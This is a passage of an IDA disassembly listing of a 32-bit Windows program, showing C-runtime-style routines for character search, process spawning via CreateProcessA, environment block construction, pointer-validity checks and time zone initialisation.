0Bh mov [eax+4], ecx mov [eax], edx loc_42C915: ; CODE XREF: sub_42C88E+A6j test ecx, esi jnz short loc_42C936 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_42C915 ; --------------------------------------------------------------------------- loc_42C936: ; CODE XREF: sub_42C88E+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42C93F: ; CODE XREF: sub_42C88E+64j pop edi pop esi pop ebx leave retn sub_42C88E endp ; --------------------------------------------------------------------------- push 2 call sub_424FCB pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C94D proc near ; CODE XREF: sub_428E88+ACp ; sub_428FED+10p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor esi, esi cmp dword_63177C, esi jnz short loc_42C96A push [ebp+arg_4] push [ebp+arg_0] call sub_4234F0 pop ecx pop ecx jmp short loc_42C9BC ; --------------------------------------------------------------------------- loc_42C96A: ; CODE XREF: sub_42C94D+Cj push edi push 19h call sub_428436 pop ecx mov ecx, [ebp+arg_0] loc_42C976: ; CODE XREF: sub_42C94D+62j mov dl, [ecx] movzx eax, dl movzx edi, al test byte_631881[edi], 4 jz short loc_42C9A5 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_42C9A1 movzx edi, dl shl eax, 8 or eax, edi cmp [ebp+arg_4], eax jnz short loc_42C9AC lea esi, [ecx-1] jmp short loc_42C9AC ; --------------------------------------------------------------------------- loc_42C9A1: ; CODE XREF: sub_42C94D+40j test esi, esi jmp short loc_42C9A8 ; --------------------------------------------------------------------------- loc_42C9A5: ; CODE XREF: sub_42C94D+38j cmp [ebp+arg_4], eax loc_42C9A8: ; CODE XREF: sub_42C94D+56j jnz short loc_42C9AC mov esi, ecx loc_42C9AC: ; CODE XREF: sub_42C94D+4Dj ; sub_42C94D+52j ... inc ecx test dl, dl jnz short loc_42C976 push 19h call sub_428497 pop ecx mov eax, esi pop edi loc_42C9BC: ; CODE XREF: sub_42C94D+1Bj pop esi pop ebp retn sub_42C94D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C9BF proc near ; CODE XREF: sub_428E88:loc_428F04p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] loc_42C9C5: ; CODE XREF: sub_42C9BF+Cj cmp byte ptr [ecx], 3Bh jnz short loc_42C9CD inc ecx jmp short loc_42C9C5 ; --------------------------------------------------------------------------- loc_42C9CD: ; CODE XREF: sub_42C9BF+9j dec [ebp+arg_8] push esi mov eax, ecx jz short loc_42CA22 mov dl, [ecx] mov esi, [ebp+arg_4] test dl, dl jz short loc_42CA16 loc_42C9DE: ; CODE XREF: sub_42C9BF+55j cmp dl, 3Bh jz short loc_42CA16 cmp dl, 22h jz short loc_42C9F3 mov [esi], dl inc esi inc ecx dec [ebp+arg_8] jz short loc_42CA1E jmp short loc_42CA10 ; --------------------------------------------------------------------------- loc_42C9F3: ; CODE XREF: sub_42C9BF+27j inc ecx loc_42C9F4: ; CODE XREF: sub_42C9BF+49j mov dl, [ecx] test dl, dl jz short loc_42CA0A cmp dl, 22h jz short loc_42CA0A mov [esi], dl inc esi inc ecx dec [ebp+arg_8] jz short loc_42CA1E jmp short loc_42C9F4 ; --------------------------------------------------------------------------- loc_42CA0A: ; CODE XREF: sub_42C9BF+39j ; sub_42C9BF+3Ej cmp byte ptr [ecx], 0 jz short loc_42CA10 inc ecx loc_42CA10: ; CODE XREF: sub_42C9BF+32j ; sub_42C9BF+4Ej mov dl, [ecx] test dl, dl jnz short loc_42C9DE loc_42CA16: ; CODE XREF: sub_42C9BF+1Dj ; sub_42C9BF+22j ... cmp byte ptr [ecx], 3Bh jnz short loc_42CA25 inc ecx jmp short loc_42CA16 ; --------------------------------------------------------------------------- loc_42CA1E: ; CODE XREF: sub_42C9BF+30j ; sub_42C9BF+47j mov eax, ecx jmp short loc_42CA25 ; --------------------------------------------------------------------------- loc_42CA22: ; CODE XREF: sub_42C9BF+14j mov esi, [ebp+arg_4] loc_42CA25: ; CODE XREF: sub_42C9BF+5Aj ; sub_42C9BF+61j and byte ptr [esi], 0 sub eax, ecx neg eax sbb eax, eax pop esi and eax, ecx pop ebp retn sub_42C9BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA33 proc near ; CODE XREF: sub_428E88+3Ap ; sub_428E88+114p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_63177C, 0 push ebx push esi jnz short loc_42CA50 push [ebp+arg_4] push [ebp+arg_0] call sub_4233B0 pop ecx pop ecx jmp short loc_42CAC6 ; --------------------------------------------------------------------------- loc_42CA50: ; CODE XREF: sub_42CA33+Cj push 19h call sub_428436 mov esi, [ebp+arg_0] pop ecx loc_42CA5B: ; CODE XREF: sub_42CA33+60j movzx bx, byte ptr [esi] test bx, bx jz short loc_42CAAE movzx eax, bl test byte_631881[eax], 4 jz short loc_42CA8A mov al, [esi+1] inc esi test al, al jz short loc_42CA95 movzx ecx, bx movzx eax, al shl ecx, 8 or ecx, eax cmp [ebp+arg_4], ecx jz short loc_42CAA1 jmp short loc_42CA92 ; --------------------------------------------------------------------------- loc_42CA8A: ; CODE XREF: sub_42CA33+3Bj movzx eax, bx cmp [ebp+arg_4], eax jz short loc_42CAAE loc_42CA92: ; CODE XREF: sub_42CA33+55j inc esi jmp short loc_42CA5B ; --------------------------------------------------------------------------- loc_42CA95: ; CODE XREF: sub_42CA33+43j push 19h call sub_428497 pop ecx xor eax, eax jmp short loc_42CAC6 ; --------------------------------------------------------------------------- loc_42CAA1: ; CODE XREF: sub_42CA33+53j push 19h call sub_428497 pop ecx lea eax, [esi-1] jmp short loc_42CAC6 ; --------------------------------------------------------------------------- loc_42CAAE: ; CODE XREF: sub_42CA33+2Fj ; sub_42CA33+5Dj push 19h call sub_428497 mov eax, [ebp+arg_4] pop ecx movzx ecx, bx sub eax, ecx neg eax sbb eax, eax not eax and eax, esi loc_42CAC6: ; CODE XREF: sub_42CA33+1Bj ; sub_42CA33+6Cj ... pop esi pop ebx pop ebp retn sub_42CA33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CACA proc near ; CODE XREF: sub_429136+32p var_60 = dword ptr -60h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 60h mov eax, [ebp+arg_0] and [ebp+var_1], 0 push ebx push esi push edi xor edi, edi cmp eax, edi mov [ebp+var_8], edi jz short loc_42CAF8 cmp eax, 1 jz short loc_42CAF8 jle short loc_42CB1A cmp eax, 3 jle short loc_42CAF8 cmp eax, 4 jnz short loc_42CB1A mov [ebp+var_1], 1 loc_42CAF8: ; CODE XREF: sub_42CACA+17j ; sub_42CACA+1Cj ... mov eax, [ebp+arg_8] mov [ebp+var_C], eax loc_42CAFE: ; CODE XREF: sub_42CACA+47j ; sub_42CACA+4Ej mov cl, [eax] test cl, cl jz short loc_42CB31 loc_42CB04: ; CODE XREF: sub_42CACA+3Ej inc eax cmp byte ptr [eax], 0 jnz short loc_42CB04 cmp byte ptr [eax+1], 0 lea ecx, [eax+1] jz short loc_42CAFE mov byte ptr [eax], 20h mov eax, ecx jmp short loc_42CAFE ; --------------------------------------------------------------------------- loc_42CB1A: ; CODE XREF: sub_42CACA+1Ej ; sub_42CACA+28j call sub_426528 mov dword ptr [eax], 16h call sub_426531 mov [eax], edi jmp loc_42CC55 ; --------------------------------------------------------------------------- loc_42CB31: ; CODE XREF: sub_42CACA+38j push 44h lea eax, [ebp+var_60] pop esi push esi push edi push eax call sub_4221F0 mov [ebp+var_60], esi mov esi, dword_631AE0 add esp, 0Ch cmp esi, edi jz short loc_42CB73 lea ecx, [esi-1] loc_42CB52: ; CODE XREF: sub_42CACA+A7j mov edx, ecx mov eax, ecx sar edx, 5 and eax, 1Fh mov edx, dword_6319E0[edx*4] lea eax, [eax+eax*8] cmp byte ptr [edx+eax*4+4], 0 jnz short loc_42CB73 dec esi dec ecx cmp esi, edi jnz short loc_42CB52 loc_42CB73: ; CODE XREF: sub_42CACA+83j ; sub_42CACA+A1j lea eax, [esi+esi*4+4] push 1 mov [ebp+var_2E], ax movzx eax, ax push eax call sub_423F63 mov [ebp+var_2C], eax pop ecx mov [eax], esi mov eax, [ebp+var_2C] pop ecx xor ebx, ebx cmp esi, edi lea ecx, [eax+4] lea edx, [eax+esi+4] jle short loc_42CBD7 loc_42CB9D: ; CODE XREF: sub_42CACA+106j mov edi, ebx mov eax, ebx sar edi, 5 and eax, 1Fh mov edi, dword_6319E0[edi*4] lea eax, [eax+eax*8] lea edi, [edi+eax*4] mov al, [edi+4] test al, 10h jnz short loc_42CBC3 mov [ecx], al mov eax, [edi] mov [edx], eax jmp short loc_42CBC9 ; --------------------------------------------------------------------------- loc_42CBC3: ; CODE XREF: sub_42CACA+EFj and byte ptr [ecx], 0 or dword ptr [edx], 0FFFFFFFFh loc_42CBC9: ; CODE XREF: sub_42CACA+F7j inc ebx inc ecx add edx, 4 cmp ebx, esi jl short loc_42CB9D mov eax, [ebp+var_2C] xor edi, edi loc_42CBD7: ; CODE XREF: sub_42CACA+D1j cmp [ebp+var_1], 0 jz short loc_42CC0A lea ecx, [eax+4] xor edx, edx lea eax, [eax+esi+4] loc_42CBE6: ; CODE XREF: sub_42CACA+137j cmp esi, 3 jge short loc_42CBEF mov ebx, esi jmp short loc_42CBF2 ; --------------------------------------------------------------------------- loc_42CBEF: ; CODE XREF: sub_42CACA+11Fj push 3 pop ebx loc_42CBF2: ; CODE XREF: sub_42CACA+123j cmp edx, ebx jge short loc_42CC03 and byte ptr [ecx], 0 or dword ptr [eax], 0FFFFFFFFh inc edx inc ecx add eax, 4 jmp short loc_42CBE6 ; --------------------------------------------------------------------------- loc_42CC03: ; CODE XREF: sub_42CACA+12Aj mov [ebp+var_8], 8 loc_42CC0A: ; CODE XREF: sub_42CACA+111j call sub_426528 mov [eax], edi call sub_426531 mov [eax], edi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_60] push eax push edi push [ebp+arg_C] push [ebp+var_8] push 1 push edi push edi push [ebp+var_C] push [ebp+arg_4] call dword_42F078 ; CreateProcessA mov esi, eax call dword_42F068 ; RtlGetLastWin32Error push [ebp+var_2C] mov ebx, eax call sub_4230B3 cmp esi, edi pop ecx jnz short loc_42CC5A push ebx call sub_4264B5 pop ecx loc_42CC55: ; CODE XREF: sub_42CACA+62j or eax, 0FFFFFFFFh jmp short loc_42CCAE ; --------------------------------------------------------------------------- loc_42CC5A: ; CODE XREF: sub_42CACA+182j cmp [ebp+arg_0], 2 jnz short loc_42CC66 push edi call sub_4284EA loc_42CC66: ; CODE XREF: sub_42CACA+194j cmp [ebp+arg_0], edi mov esi, dword_42F038 jnz short loc_42CC90 push 0FFFFFFFFh push [ebp+var_1C] call dword_42F064 ; WaitForSingleObject lea eax, [ebp+arg_8] push eax push [ebp+var_1C] call dword_42F0AC ; GetExitCodeProcess push [ebp+var_1C] call esi ; dword_42F038 jmp short loc_42CCA6 ; --------------------------------------------------------------------------- loc_42CC90: ; CODE XREF: sub_42CACA+1A5j cmp [ebp+arg_0], 4 jnz short loc_42CCA0 push [ebp+var_1C] call esi ; dword_42F038 mov [ebp+arg_8], edi jmp short loc_42CCA6 ; --------------------------------------------------------------------------- loc_42CCA0: ; CODE XREF: sub_42CACA+1CAj mov eax, [ebp+var_1C] mov [ebp+arg_8], eax loc_42CCA6: ; CODE XREF: sub_42CACA+1C4j ; sub_42CACA+1D4j push [ebp+var_18] call esi ; dword_42F038 mov eax, [ebp+arg_8] loc_42CCAE: ; CODE XREF: sub_42CACA+18Ej pop edi pop esi pop ebx leave retn sub_42CACA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CCB3 proc near ; CODE XREF: sub_429136+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi push 2 pop esi mov edi, esi loc_42CCC1: ; CODE XREF: sub_42CCB3+22j mov eax, [ebx] test eax, eax jz short loc_42CCD7 push eax add ebx, 4 call sub_422120 pop ecx lea edi, [edi+eax+1] jmp short loc_42CCC1 ; --------------------------------------------------------------------------- loc_42CCD7: ; CODE XREF: sub_42CCB3+12j push edi call sub_422F79 pop ecx mov ecx, [ebp+arg_8] test eax, eax mov [ecx], eax jnz short loc_42CCF2 mov eax, [ebp+arg_C] and dword ptr [eax], 0 jmp loc_42CDD4 ; --------------------------------------------------------------------------- loc_42CCF2: ; CODE XREF: sub_42CCB3+32j mov edi, [ebp+arg_4] test edi, edi jz short loc_42CD0F loc_42CCF9: ; CODE XREF: sub_42CCB3+5Aj mov eax, [edi] test eax, eax jz short loc_42CD36 push eax add edi, 4 call sub_422120 pop ecx lea esi, [esi+eax+1] jmp short loc_42CCF9 ; --------------------------------------------------------------------------- loc_42CD0F: ; CODE XREF: sub_42CCB3+44j mov eax, [ebp+arg_C] mov ebx, [ebp+arg_C] mov edi, [ebp+arg_C] and dword ptr [eax], 0 loc_42CD1B: ; CODE XREF: sub_42CCB3+10Dj mov eax, [ebp+arg_8] mov esi, [eax] mov eax, [ebp+arg_0] mov [ebp+arg_8], eax mov eax, [eax] test eax, eax jnz loc_42CDF2 loc_42CD30: ; CODE XREF: sub_42CCB3+185j inc esi jmp loc_42CE11 ; --------------------------------------------------------------------------- loc_42CD36: ; CODE XREF: sub_42CCB3+4Aj mov eax, dword_6313EC test eax, eax jnz short loc_42CD51 call sub_42B533 test eax, eax mov dword_6313EC, eax jz loc_42CDEA loc_42CD51: ; CODE XREF: sub_42CCB3+8Aj xor ebx, ebx cmp [eax], bl jz short loc_42CD7A mov edi, eax mov cl, [edi] loc_42CD5B: ; CODE XREF: sub_42CCB3+C5j cmp cl, 3Dh jz short loc_42CD7A push edi call sub_422120 lea ebx, [ebx+eax+1] mov eax, dword_6313EC pop ecx mov cl, [eax+ebx] lea edi, [eax+ebx] test cl, cl jnz short loc_42CD5B loc_42CD7A: ; CODE XREF: sub_42CCB3+A2j ; sub_42CCB3+ABj mov edi, ebx add eax, ebx loc_42CD7E: ; CODE XREF: sub_42CCB3+F7j cmp byte ptr [eax], 3Dh jnz short loc_42CDAC cmp byte ptr [eax+1], 0 jz short loc_42CDAC cmp byte ptr [eax+2], 3Ah jnz short loc_42CDAC cmp byte ptr [eax+3], 3Dh jnz short loc_42CDAC add eax, 4 push eax call sub_422120 lea edi, [edi+eax+5] mov eax, dword_6313EC pop ecx add eax, edi jmp short loc_42CD7E ; --------------------------------------------------------------------------- loc_42CDAC: ; CODE XREF: sub_42CCB3+CEj ; sub_42CCB3+D4j ... mov eax, edi sub eax, ebx add eax, esi push eax call sub_422F79 pop ecx mov ecx, [ebp+arg_C] test eax, eax mov [ecx], eax jnz loc_42CD1B mov esi, [ebp+arg_8] push dword ptr [esi] call sub_4230B3 and dword ptr [esi], 0 pop ecx loc_42CDD4: ; CODE XREF: sub_42CCB3+3Aj call sub_426528 mov dword ptr [eax], 0Ch call sub_426531 mov dword ptr [eax], 8 loc_42CDEA: ; CODE XREF: sub_42CCB3+98j or eax, 0FFFFFFFFh jmp loc_42CEB4 ; --------------------------------------------------------------------------- loc_42CDF2: ; CODE XREF: sub_42CCB3+77j push eax push esi call sub_423260 mov eax, [ebp+arg_0] mov ecx, [eax] add eax, 4 push ecx mov [ebp+arg_8], eax call sub_422120 add esp, 0Ch lea esi, [esi+eax+1] loc_42CE11: ; CODE XREF: sub_42CCB3+7Ej mov eax, [ebp+arg_8] mov eax, [eax] test eax, eax jz short loc_42CE3D push eax push esi call sub_423260 mov eax, [ebp+arg_8] add [ebp+arg_8], 4 mov eax, [eax] push eax call sub_422120 add esp, 0Ch add esi, eax mov byte ptr [esi], 20h jmp loc_42CD30 ; --------------------------------------------------------------------------- loc_42CE3D: ; CODE XREF: sub_42CCB3+165j mov eax, [ebp+arg_C] and byte ptr [esi-1], 0 and byte ptr [esi], 0 cmp [ebp+arg_4], 0 mov esi, [eax] jz short loc_42CE8D mov eax, edi sub eax, ebx push eax mov eax, dword_6313EC add eax, ebx push eax push esi call sub_4223F0 sub edi, ebx add esp, 0Ch add esi, edi mov edi, [ebp+arg_4] loc_42CE6C: ; CODE XREF: sub_42CCB3+1D8j mov eax, [edi] test eax, eax jz short loc_42CE8D push eax push esi call sub_423260 mov eax, [edi] add edi, 4 push eax call sub_422120 add esp, 0Ch lea esi, [esi+eax+1] jmp short loc_42CE6C ; --------------------------------------------------------------------------- loc_42CE8D: ; CODE XREF: sub_42CCB3+19Aj ; sub_42CCB3+1BDj test esi, esi jz short loc_42CE9F mov eax, [ebp+arg_C] cmp esi, [eax] jnz short loc_42CE9C and byte ptr [esi], 0 inc esi loc_42CE9C: ; CODE XREF: sub_42CCB3+1E3j and byte ptr [esi], 0 loc_42CE9F: ; CODE XREF: sub_42CCB3+1DCj push dword_6313EC call sub_4230B3 and dword_6313EC, 0 pop ecx xor eax, eax loc_42CEB4: ; CODE XREF: sub_42CCB3+13Aj pop edi pop esi pop ebx pop ebp retn sub_42CCB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CEB9 proc near ; CODE XREF: sub_4291A8+5Ep ; sub_42E6EF+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42CEC6 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42CEC6: ; CODE XREF: sub_42CEB9+7j push dword_631768 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_631984 call sub_42E2C0 add esp, 1Ch test eax, eax jnz short loc_42CEF3 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_42CEF3: ; CODE XREF: sub_42CEB9+31j add eax, 0FFFFFFFEh pop ebp retn sub_42CEB9 endp ; =============== S U B R O U T I N E ======================================= sub_42CEF8 proc near ; CODE XREF: sub_4291A8+1Ep ; sub_42E568+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_631490 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_42CF59 mov ebx, dword_42F0A4 loc_42CF11: ; CODE XREF: sub_42CEF8+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; dword_42F0A4 mov ebp, eax cmp ebp, edi jz short loc_42CF61 push ebp call sub_422F79 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_42CF61 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; dword_42F0A4 test eax, eax jz short loc_42CF61 push edi push [esp+18h+var_4] call sub_42E568 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_42CF11 loc_42CF59: ; CODE XREF: sub_42CEF8+11j xor eax, eax loc_42CF5B: ; CODE XREF: sub_42CEF8+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42CF61: ; CODE XREF: sub_42CEF8+29j ; sub_42CEF8+38j ... or eax, 0FFFFFFFFh jmp short loc_42CF5B sub_42CEF8 endp ; =============== S U B R O U T I N E ======================================= sub_42CF66 proc near ; CODE XREF: sub_4292C0+77p ; sub_4297EE+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_42F16C ; IsBadReadPtr test eax, eax jz short loc_42CF7E xor esi, esi loc_42CF7E: ; CODE XREF: sub_42CF66+14j mov eax, esi pop esi retn sub_42CF66 endp ; =============== S U B R O U T I N E ======================================= sub_42CF82 proc near ; CODE XREF: sub_4297EE+73p ; sub_4297EE+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_42F1B0 ; IsBadWritePtr test eax, eax jz short loc_42CF9A xor esi, esi loc_42CF9A: ; CODE XREF: sub_42CF82+14j mov eax, esi pop esi retn sub_42CF82 endp ; =============== S U B R O U T I N E ======================================= sub_42CF9E proc near ; CODE XREF: sub_4297EE+15Bp ; sub_429B43+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_42F168 ; IsBadCodePtr test eax, eax jz short loc_42CFB2 xor esi, esi loc_42CFB2: ; CODE XREF: sub_42CF9E+10j mov eax, esi pop esi retn sub_42CF9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429A8C loc_42CFB6: ; CODE XREF: sub_429A8C:loc_429AE8j push 0Ah call sub_42B69E push 16h call sub_42D7FC pop ecx pop ecx push 3 call sub_4284EA ; END OF FUNCTION CHUNK FOR sub_429A8C ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_42CFE4: ; CODE XREF: .text:0042CFEFj mov al, [edx] or al, al jz short loc_42CFF1 inc edx bts [esp], eax jmp short loc_42CFE4 ; --------------------------------------------------------------------------- loc_42CFF1: ; CODE XREF: .text:0042CFE8j mov esi, [ebp+8] or ecx, 0FFFFFFFFh nop loc_42CFF8: ; CODE XREF: .text:0042D004j inc ecx mov al, [esi] or al, al jz short loc_42D006 inc esi bt [esp], eax jnb short loc_42CFF8 loc_42D006: ; CODE XREF: .text:0042CFFDj mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_42D024: ; CODE XREF: .text:0042D02Fj mov al, [edx] or al, al jz short loc_42D031 inc edx bts [esp], eax jmp short loc_42D024 ; --------------------------------------------------------------------------- loc_42D031: ; CODE XREF: .text:0042D028j mov esi, [ebp+8] loc_42D034: ; CODE XREF: .text:0042D03Fj mov al, [esi] or al, al jz short loc_42D044 inc esi bt [esp], eax jnb short loc_42D034 lea eax, [esi-1] loc_42D044: ; CODE XREF: .text:0042D038j add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_42D04A proc near ; CODE XREF: sub_429DCB:loc_429E0Ap cmp dword_631720, 0 jnz short locret_42D077 push 0Bh call sub_428436 cmp dword_631720, 0 pop ecx jnz short loc_42D06F call sub_42D078 inc dword_631720 loc_42D06F: ; CODE XREF: sub_42D04A+18j push 0Bh call sub_428497 pop ecx locret_42D077: ; CODE XREF: sub_42D04A+7j retn sub_42D04A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D078 proc near ; CODE XREF: sub_42D04A+1Ap var_18 = dword ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi push 0Ch pop edi xor ebx, ebx push edi mov [ebp+var_8], ebx call sub_428436 or dword_44C0B8, 0FFFFFFFFh or dword_44C0A8, 0FFFFFFFFh mov dword_631668, ebx mov [esp+18h+var_18], offset aTz ; "TZ" call sub_4291A8 mov esi, eax pop ecx cmp esi, ebx jnz loc_42D1B6 push edi call sub_428497 mov [esp+18h+var_18], offset dword_631670 call dword_42F204 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz loc_42D2FA mov eax, dword_631670 mov ecx, dword_6316C4 imul eax, 3Ch cmp word_6316B6, bx push 1 pop edx mov dword_44C010, eax mov dword_631668, edx jz short loc_42D106 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_44C010, eax loc_42D106: ; CODE XREF: sub_42D078+80j cmp word_63170A, bx jz short loc_42D12A mov eax, dword_631718 cmp eax, ebx jz short loc_42D12A sub eax, ecx mov dword_44C014, edx imul eax, 3Ch mov dword_44C018, eax jmp short loc_42D136 ; --------------------------------------------------------------------------- loc_42D12A: ; CODE XREF: sub_42D078+95j ; sub_42D078+9Ej mov dword_44C014, ebx mov dword_44C018, ebx loc_42D136: ; CODE XREF: sub_42D078+B0j lea eax, [ebp+var_4] mov esi, dword_42F0A4 push eax push ebx push 3Fh mov edi, 220h push off_44C09C push 0FFFFFFFFh push offset dword_631674 push edi push dword_6314D8 call esi ; dword_42F0A4 test eax, eax jz short loc_42D172 cmp [ebp+var_4], ebx jnz short loc_42D172 mov eax, off_44C09C and byte ptr [eax+3Fh], 0 jmp short loc_42D17A ; --------------------------------------------------------------------------- loc_42D172: ; CODE XREF: sub_42D078+E8j ; sub_42D078+EDj mov eax, off_44C09C and byte ptr [eax], 0 loc_42D17A: ; CODE XREF: sub_42D078+F8j lea eax, [ebp+var_4] push eax push ebx push 3Fh push off_44C0A0 push 0FFFFFFFFh push offset dword_6316C8 push edi push dword_6314D8 call esi ; dword_42F0A4 test eax, eax jz loc_42D2E9 cmp [ebp+var_4], ebx jnz loc_42D2E9 mov eax, off_44C0A0 and byte ptr [eax+3Fh], 0 jmp loc_42D2FA ; --------------------------------------------------------------------------- loc_42D1B6: ; CODE XREF: sub_42D078+3Bj cmp byte ptr [esi], 0 jz loc_42D2F3 mov eax, dword_63171C cmp eax, ebx jz short loc_42D1D9 push eax push esi call sub_422760 pop ecx test eax, eax pop ecx jz loc_42D2F3 loc_42D1D9: ; CODE XREF: sub_42D078+14Ej push dword_63171C call sub_4230B3 push esi call sub_422120 inc eax push eax call sub_422F79 add esp, 0Ch cmp eax, ebx mov dword_63171C, eax jz loc_42D2F3 push esi push eax call sub_423260 push edi call sub_428497 push 3 push esi push off_44C09C call sub_4222F0 mov eax, off_44C09C add esi, 3 add esp, 18h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42D238 mov [ebp+var_8], 1 inc esi loc_42D238: ; CODE XREF: sub_42D078+1B6j push esi call sub_422ACF pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_44C010, ecx loc_42D24F: ; CODE XREF: sub_42D078+1E6j mov al, [esi] cmp al, 2Bh jz short loc_42D25D cmp al, bl jl short loc_42D260 cmp al, 39h jg short loc_42D260 loc_42D25D: ; CODE XREF: sub_42D078+1DBj inc esi jmp short loc_42D24F ; --------------------------------------------------------------------------- loc_42D260: ; CODE XREF: sub_42D078+1DFj ; sub_42D078+1E3j cmp byte ptr [esi], 3Ah jnz short loc_42D2B3 inc esi push esi call sub_422ACF imul eax, 3Ch pop ecx mov ecx, dword_44C010 add ecx, eax mov dword_44C010, ecx loc_42D27E: ; CODE XREF: sub_42D078+211j mov al, [esi] cmp al, bl jl short loc_42D28B cmp al, 39h jg short loc_42D28B inc esi jmp short loc_42D27E ; --------------------------------------------------------------------------- loc_42D28B: ; CODE XREF: sub_42D078+20Aj ; sub_42D078+20Ej cmp byte ptr [esi], 3Ah jnz short loc_42D2B3 inc esi push esi call sub_422ACF pop ecx mov ecx, dword_44C010 add ecx, eax mov dword_44C010, ecx loc_42D2A6: ; CODE XREF: sub_42D078+239j mov al, [esi] cmp al, bl jl short loc_42D2B3 cmp al, 39h jg short loc_42D2B3 inc esi jmp short loc_42D2A6 ; --------------------------------------------------------------------------- loc_42D2B3: ; CODE XREF: sub_42D078+1EBj ; sub_42D078+216j ... cmp [ebp+var_8], 0 jz short loc_42D2C1 neg ecx mov dword_44C010, ecx loc_42D2C1: ; CODE XREF: sub_42D078+23Fj movsx eax, byte ptr [esi] test eax, eax mov dword_44C014, eax jz short loc_42D2E9 push 3 push esi push off_44C0A0 call sub_4222F0 mov eax, off_44C0A0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_42D2FA ; --------------------------------------------------------------------------- loc_42D2E9: ; CODE XREF: sub_42D078+121j ; sub_42D078+12Aj ... mov eax, off_44C0A0 and byte ptr [eax], 0 jmp short loc_42D2FA ; --------------------------------------------------------------------------- loc_42D2F3: ; CODE XREF: sub_42D078+141j ; sub_42D078+15Bj ... push edi call sub_428497 pop ecx loc_42D2FA: ; CODE XREF: sub_42D078+57j ; sub_42D078+139j ... pop edi pop esi pop ebx leave retn sub_42D078 endp ; =============== S U B R O U T I N E ======================================= sub_42D2FF proc near ; CODE XREF: sub_429DCB+A5p arg_0 = dword ptr 4 push esi push 0Bh call sub_428436 push [esp+8+arg_0] call sub_42D320 push 0Bh mov esi, eax call sub_428497 add esp, 0Ch mov eax, esi pop esi retn sub_42D2FF endp ; =============== S U B R O U T I N E ======================================= sub_42D320 proc near ; CODE XREF: sub_42D2FF+Cp arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_44C014, edi jnz short loc_42D334 loc_42D32D: ; CODE XREF: sub_42D320+148j ; sub_42D320+150j ... xor eax, eax jmp loc_42D480 ; --------------------------------------------------------------------------- loc_42D334: ; CODE XREF: sub_42D320+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_44C0A8 jnz short loc_42D352 cmp eax, dword_44C0B8 jz loc_42D454 loc_42D352: ; CODE XREF: sub_42D320+24j cmp dword_631668, edi jz loc_42D42A movzx ecx, word_631716 push ecx cmp word_631708, di 